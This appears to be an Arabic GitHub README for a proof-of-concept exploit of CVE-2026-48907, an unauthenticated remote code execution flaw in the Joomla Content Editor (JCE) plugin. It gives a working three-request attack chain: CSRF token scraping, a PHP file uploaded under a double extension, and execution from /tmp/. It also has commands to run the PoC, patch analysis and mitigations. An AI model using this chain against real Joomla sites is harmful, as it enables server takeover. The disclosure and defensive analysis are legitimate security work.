
إثبات مفهوم وتحليل تقني لـ CVE-2026-48907، وهي ثغرة تنفيذ كود عن بعد قبل المصادقة بتقييم CVSS 10.0 في محرر محتوى Joomla (JCE). يتضمن سلسلة هجوم من 3 طلبات وتحليل تفصيلي للتصحيح.
إثبات المفهوم (PoC) لثغرة CVE-2026-48907 — وهي ثغرة تنفيذ أوامر عن بُعد (RCE) بدون مصادقة بتصنيف CVSS 10.0 في إضافة Joomla Content Editor (JCE).
بحث من فريق Grayxploit الأمني
CVE-2026-48907 هي ثغرة حرجة في تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة تؤثر على إضافة Joomla Content Editor (JCE) — أشهر محرر Joomla — في جميع الإصدارات حتى 2.9.99.4.
من خلال ربط ثلاث نقاط ضعف مستقلة في سير استيراد ملفات تعريف JCE، يمكن لمهاجم غير مصادق تمامًا:
/tmp/ في الخادميتطلب الهجوم فقط 3 طلبات HTTP ويعمل ضد أي تثبيت Joomla افتراضي يعمل بإصدار JCE ضعيف.
درجة CVSS v4: 10.0 — حرجة
تم اكتشافها والكشف عنها علنًا بواسطة فريق أبحاث الأمن Grayxploit بعد الكشف المسؤول.
| البرنامج | الإصدارات الضعيفة | الإصدار المصحح |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (موصى به) |
ملاحظة: الإصدار 2.9.99.5 أدخل الإصلاح الأساسي. الإصدار 2.9.99.6 أضاف طبقات حماية إضافية. يُوصى بالترقية إلى 2.9.99.6 أو أحدث.
ينشأ الثغرة من نقطة نهاية استيراد ملفات تعريف JCE:
POST /index.php?option=com_jce&task=profiles.import
يسمح JCE للمسؤولين بتصدير واستيراد ملفات تعريف المحرر كملفات XML. يمكن الوصول إلى معالج الاستيراد بدون مصادقة ويقبل تحميلات ملفات عشوائية بسبب سلسلة من ثلاث نقاط ضعف مستقلة.
لم يقم عنصر التحكم في الاستيراد بأي فحص ACL:
public function import()
{
// الحاجز الوحيد: رمز CSRF — يمكن تجاوزه بسهولة
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … الدخول مباشرة في معالجة الملفات — لا يوجد فحص authorise()
}
يقوم Joomla بتضمين رمز CSRF في كل صفحة عامة كوسم meta أو متغير JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
يستطيع المهاجم ببساطة جلب الصفحة الرئيسية، واستخراج الرمز، وإعادة تشغيله. يمنع فحص CSRF الطلبات عبر المواقع — لكنه لا يمنع الطلبات النصية المباشرة. لم يكن هناك أي استدعاء لـ Factory::getUser() أو $user->authorise(...) في أي مكان في مسار الاستيراد.
استخدم معالج التحميل File::makeSafe() الذي يزيل فقط الأحرف غير القانونية في نظام الملفات — لا يتحقق أو يقيّد امتدادات الملفات:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // يزيل الأحرف غير القانونية فقط
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
اسم ملف مثل shell.xml.php يمر عبر File::makeSafe() دون تغيير. يقوم Apache's mod_php بتنفيذه لأن الامتداد الأخير المعترف به هو .php. تم قبول امتدادات مثل .php و .php5 و .phtml والمتغيرات ذات الرمزين.
File::upload() مع $allow_unsafe = true (CWE-116)تحتوي وظيفة File::upload() في Joomla على قائمة سوداء مدمجة للامتداد تمنع أنواع الملفات الخطيرة عندما يكون $allow_unsafe = false (الافتراضي):
// توقيع File::upload() في Joomla
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
كود JCE الضعيف عطل هذه الشبكة الأمان بشكل صريح:
// ضعيف — تمكين التحميلات غير الآمنة بشكل صريح
File::upload($source, $destination, false, true);
هذا المتغير المنطقي الواحد قلب القائمة السوداء الداخلية بأكملها لـ Joomla، مما سمح بكتابة .php و .php5 و .phtml وجميع الامتدادات الأخرى القابلة للتنفيذ على القرص.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← استخراج csrf_token من HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (تم كتابة الملف إلى /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← الرد: "3105" (45 × 69 = تأكيد RCE ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
لا يوجد ملف تعريف ارتباط (session cookie). لا اسم مستخدم. لا كلمة مرور. 3 طلبات HTTP.
⚠️ تم توفير إثبات المفهوم (PoC) هذا بشكل صارم لأغراض البحث الأمني المصرح به واختبار الاختراق. لا تستخدمه ضد أي نظام دون إذن كتابي صريح. الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] الهدف : http://localhost:9999
[] الحمولة : cve-2026-48907-4821.xml.php [] الخطوة 1 — جلب رمز CSRF...
[+] رمز CSRF: abcdef1234567890abcdef1234567890
[] الخطوة 2 — تحميل الحمولة...
[+] رد التحميل: HTTP 200
[*] الخطوة 3 — تشغيل الحمولة...
[حرج] تم تأكيد RCE — CVE-2026-48907
الهدف http://localhost:9999 ضعيف
تم إصلاح جميع نقاط الضعف الثلاث في JCE 2.9.99.5، مع تعزيز إضافي تم شحنه في 2.9.99.6.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
يفشل المستخدمون الضيوف (id = 0) في authorise() على الفور. يتم رفض الطلب قبل أي معالجة للملف.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
ترجع PATHINFO_EXTENSION فقط الامتداد الأخير. shell.xml.php → php → مرفوض. يبطل جميع الالتفافات متعددة الامتدادات.
// قبل (ضعيف)
File::upload($source, $destination, false, true);
// بعد (مصحح)
File::upload($source, $destination, false);
تم إعادة تفعيل القائمة السوداء الداخلية لـ Joomla كطبقة دفاع مستقلة.
| الإصلاح | التفاصيل |
|---|---|
| حد حجم التحميل | رفض الملفات التي يزيد حجمها عن 512 كيلوبايت |
| حماية XXE | libxml_disable_entity_loader(true) تم نقلها إلى PHP 7.x |
| قائمة بيضاء لحقول XML | معالجة مفاتيح XML الآمنة المعروفة فقط؛ تجاهل المفاتيح العشوائية بصمت |
| الأولوية | الإجراء |
|---|---|
| 🔴 فوري | ترقية JCE إلى ≥ 2.9.99.6 |
| 🟠 عالي | حظر أو تقييد الوصول إلى /tmp/ عبر الويب على مستوى الخادم |
| 🟠 عالي | تعطيل تنفيذ PHP في الدلائل المؤقتة عبر .htaccess أو تهيئة الخادم |
| 🟡 متوسط | إضافة قاعدة WAF للتنبيه/الحظر على com_jce&task=profiles.import من جلسات غير مصادق عليها |
| 🟡 متوسط | تدقيق إضافات Joomla الأخرى بحثًا عن File::upload(..., true) بدون التحقق من الامتداد |
/tmp/ عبر .htaccess<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
| التاريخ | الحدث |
|---|---|
| 2026-05-XX | اكتشاف الثغرة بواسطة فريق Grayxploit البحثي |
| 2026-05-XX | الكشف المسؤول إلى مسؤولي JCE |
| 2026-06-XX | تعيين CVE-2026-48907 بواسطة MITRE |
| 2026-06-XX | إصدار JCE 2.9.99.5 — الإصلاح الأساسي |
| 2026-06-12 | إصدار JCE 2.9.99.6 — تعزيز إضافي |
| 2026-06-12 | الكشف العام بواسطة Grayxploit |
هذا المستودع مخصص حصرًا للبحث الأمني المصرح به والتعليم واختبار الاختراق على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح باختبارها.
فريق Grayxploit غير مسؤول عن أي استخدام غير مصرح به أو غير قانوني أو ضار للكود أو المعلومات المقدمة في هذا المستودع.
استخدم بمسؤولية. اختبر بشكل قانوني.
هذا المشروع مرخص بموجب رخصة MIT.
كل نجمة تساعد هذا البحث في الوصول إلى المزيد من المدافعين والمختبرين وفرق الزرقاء الذين يحتاجون إليه.
Grayxploit هو فريق أبحاث أمني مستقل يركز على اكتشاف الثغرات، تطوير الاستغلالات، والكشف المسؤول عبر منصات الويب، أنظمة CMS، والبرمجيات مفتوحة المصدر.
| نكتشف | نكشف | تدافع أنت |
|---|---|---|
| RCE بدون مصادقة | بمسؤولية وعلنًا | بتحليل تصحيحنا التفصيلي |
| عيوب منطقية | مع تحليل جذري كامل | باستخدام PoCs بأمان |
| ثغرات مترابطة | قبل بدء الاستغلال الجماعي | أسرع من الجهات الخبيثة |
لديك نصيحة أو تريد التعاون؟ افتح مشكلة أو تواصل عبر ملف GitHub الخاص بنا.
CVE-2026-48907 — بحث أصلي من
نخترق الأشياء. بمسؤولية.